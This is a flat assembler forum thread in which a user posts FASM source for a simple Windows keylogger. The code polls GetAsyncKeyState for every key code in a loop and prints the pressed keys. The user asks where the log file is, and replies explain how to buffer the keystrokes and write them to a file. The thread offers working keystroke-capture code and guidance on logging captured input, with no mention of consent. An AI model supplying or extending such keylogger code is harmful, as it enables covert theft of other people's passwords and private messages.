flat assembler
Message board for the users of flat assembler.

Index > Windows > Key logger file

Author
Thread Post new topic Reply to topic
majidkamali1370



Joined: 31 Oct 2010
Posts: 50
Location: Iran
majidkamali1370 28 Dec 2012, 21:30
Hi.
I have a key logger source in fasm.
I compiled and ran it, but I don't know where is the log file.
plz help
Here's the code:
Code:
format pe console 4.0

include 'win32ax.inc'

entry main

section 'txt' code readable executable

main:
         invoke CreateThread,0,0,thread_logger,0,0,0
         invoke WaitForSingleObject,eax,0FFFFFFFh
;Say what ?, no it won't reach here


fmt db '0x%04X',10,0

proc    thread_logger,lpDat

        mov dword[ebp-4],1
reset:
        mov dword[ebp-4],1
for_loop:
        push dword[ebp-4]
        call [GetAsyncKeyState]
        cmp  eax,-32767
        jne  no_log

        push dword[ebp-4]
        push fmt
        call [printf]
        add esp, 8
no_log:
        inc  dword[ebp-4]
        cmp  dword[ebp-4],100000000b
        jnz for_loop

        push 09
        call [Sleep]
        jmp reset
endp

section '.idata' import data readable

library user32,'user32.dll',\
        kernel32,'kernel32.dll',\
        msvc,'msvcrt.dll'

import msvc,\
       printf,'printf'

include 'api/user32.inc'
include 'api/kernel32.inc'    
Post 28 Dec 2012, 21:30
View user's profile Send private message Send e-mail Yahoo Messenger ICQ Number Reply with quote
typedef



Joined: 25 Jul 2010
Posts: 2909
Location: 0x77760000
typedef 29 Dec 2012, 03:23
lol. this is my code.

First you have to understand what it is/not doing.
Post 29 Dec 2012, 03:23
View user's profile Send private message Reply with quote
majidkamali1370



Joined: 31 Oct 2010
Posts: 50
Location: Iran
majidkamali1370 29 Dec 2012, 09:18
Yes, I copied this code from this site.
I want to replace printf, to put keys in a file.
Post 29 Dec 2012, 09:18
View user's profile Send private message Send e-mail Yahoo Messenger ICQ Number Reply with quote
Fixit



Joined: 22 Nov 2012
Posts: 161
Fixit 29 Dec 2012, 22:32
Your code is incomplete.

It will have to open a file first, write the keys into that file, and then close the file.
Post 29 Dec 2012, 22:32
View user's profile Send private message Reply with quote
typedef



Joined: 25 Jul 2010
Posts: 2909
Location: 0x77760000
typedef 30 Dec 2012, 00:56
Use a fixed memory buffer to hold the keystrokes (formatted or not) and then write them to a file.

Because it'll be stupid to do file I/O within that loop.

This is just a performance enhancement. Do it however you want.
Post 30 Dec 2012, 00:56
View user's profile Send private message Reply with quote
majidkamali1370



Joined: 31 Oct 2010
Posts: 50
Location: Iran
majidkamali1370 30 Dec 2012, 11:32
Thanks.
Should I use store command or invoke a c function?
Post 30 Dec 2012, 11:32
View user's profile Send private message Send e-mail Yahoo Messenger ICQ Number Reply with quote
Display posts from previous:
Post new topic Reply to topic

Jump to:  


< Last Thread | Next Thread >
Forum Rules:
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
You cannot attach files in this forum
You can download files in this forum


Copyright © 1999-2025, Tomasz Grysztar. Also on GitHub, YouTube.

Website powered by rwasa.